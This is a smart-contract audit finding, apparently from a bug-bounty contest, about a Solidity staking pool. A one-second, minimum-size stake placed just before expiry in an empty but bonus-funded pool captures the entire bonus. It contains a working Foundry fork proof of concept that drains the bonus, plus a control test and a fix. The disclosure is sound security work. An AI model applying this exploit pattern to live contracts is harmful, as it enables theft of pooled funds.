FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Empty UNDER_ATTACK pools let a one-second minimum staker capture the entire bonus

Author Revealed upon completion

Description

  • Normal behavior: UNDER_ATTACK deposits are intentionally allowed because the design expects a late entrant's k=2 bonus share to be crushed to near zero by (T - entry)^2. When a resolved pool has no stakers owed bonus, the bonus should remain unreserved and be sweepable to recoveryAddress.

  • Issue: this assumption fails for an empty, bonus-funded pool. A user can wait until the risk window is already observed, stake only minStake at expiry - 1 while the registry is still UNDER_ATTACK, then call claimExpired() at expiry. As the sole eligible staker, their userScore equals globalScore, so _bonusShare() pays them 100% of snapshotTotalBonus instead of leaving the bonus to recovery.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState());
...
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
@> state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) revert StakingClosed();
}
function claimExpired() external nonReentrant {
...
@> snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
...
@> outcome = PoolStates.Outcome.EXPIRED; // reached for UNDER_ATTACK at expiry
outcomeFlaggedAt = expiry;
...
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 userScore = ...;
uint256 globalScore = ...;
@> return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood:

  • This occurs when a bonus is funded before any eligible staker enters, the registry reaches UNDER_ATTACK, and the pool remains empty until just before expiry.

  • The attacker can use public registry/expiry data and stake only at expiry - 1, leaving their minStake exposed to the CORRUPTED path for about one second.

Impact:

  • The full bonus pot is redirected from recoveryAddress to the late minimum-stake entrant. In the PoC, the attacker receives minStake + 1_000e18, while the recovery path loses 1_000e18 versus the no-late-stake control.

  • No existing staker principal is affected. The impact is limited to optional bonus capital and the documented "near-zero-reward risk capital" assumption, so this is best framed as LOW.

Proof of Concept

The fork PoC deploys the pool system locally into a pinned BattleChain testnet fork using the live Safe Harbor registry/demo agreement addresses, then mocks only AttackRegistry.getAgreementState() at the live registry address. The exploit test proves the late minimum-stake entrant receives the entire bonus; the control test proves the same bonus sweeps to recovery when the late stake is absent.

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-path test/fork/ConfidencePoolEmptyLateStakeBonus.fork.t.sol -vvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract ConfidencePoolEmptyLateStakeBonusForkPoCTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16000;
uint256 internal constant ONE = 1e18;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal stakeToken;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal carol = makeAddr("carol");
address internal dave = makeAddr("dave");
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory) {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
} catch {
vm.createSelectFork("https://testnet.battlechain.com", PIN_BLOCK);
}
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
_mockAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), block.timestamp + 31 days, ONE, recovery, accounts)
);
}
function testForkPoC_emptyBonusPoolLateStakeCapturesEntireBonusAtExpiry() external {
uint256 bonusAmount = 1_000 * ONE;
uint256 minimumStake = pool.minStake();
_contributeBonus(carol, bonusAmount);
assertEq(pool.totalEligibleStake(), 0, "pool starts with bonus but no stakers");
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 sealedRiskStart = pool.riskWindowStart();
vm.warp(uint256(pool.expiry()) - 1);
uint256 attackerBefore = stakeToken.balanceOf(attacker);
_stake(attacker, minimumStake);
assertEq(pool.riskWindowStart(), sealedRiskStart, "risk window was already observed");
assertLt(pool.riskWindowStart(), pool.expiry() - 1, "attacker entered after the risk window opened");
assertEq(pool.totalEligibleStake(), minimumStake, "minimum stake accepted during UNDER_ATTACK");
vm.warp(pool.expiry());
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "active-risk expiry resolves EXPIRED");
assertEq(
stakeToken.balanceOf(attacker) - attackerBefore,
minimumStake + bonusAmount,
"one-second minimum-stake entrant captures full bonus"
);
assertEq(pool.claimedBonus(), bonusAmount, "entire bonus paid to late entrant");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool drained by late entrant");
}
function testForkPoC_CONTROL_noLateStakeBonusSweepsToRecovery() external {
uint256 bonusAmount = 1_000 * ONE;
_contributeBonus(carol, bonusAmount);
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(pool.expiry());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "empty active-risk pool expires");
assertEq(pool.totalEligibleStake(), 0, "no staker entitlement exists");
assertEq(stakeToken.balanceOf(address(pool)), bonusAmount, "bonus remains in pool before sweep");
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(stakeToken.balanceOf(recovery) - recoveryBefore, bonusAmount, "unused bonus sweeps to recovery");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool drained to recovery without late stake");
}
function _stake(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _mockAgreementState(IAttackRegistry.ContractState state) internal {
vm.clearMockedCalls();
vm.mockCall(
ATTACK_REGISTRY,
abi.encodeCall(IAttackRegistry.getAgreementState, (DEMO_AGREEMENT)),
abi.encode(state)
);
}
}

Recommended Mitigation

Block the first stake after the risk window has opened when the pool is empty but already bonus-funded. This preserves the documented rule that post-risk UNDER_ATTACK entrants should not gain a late-join bonus advantage. An alternative is to track bonus accrued before the first post-risk stake and exclude that amount from the new staker's bonus share.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
+ if (riskWindowStart != 0 && totalEligibleStake == 0 && totalBonus != 0) {
+ revert StakingClosed();
+ }
if (!expiryLocked) {
expiryLocked = true;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!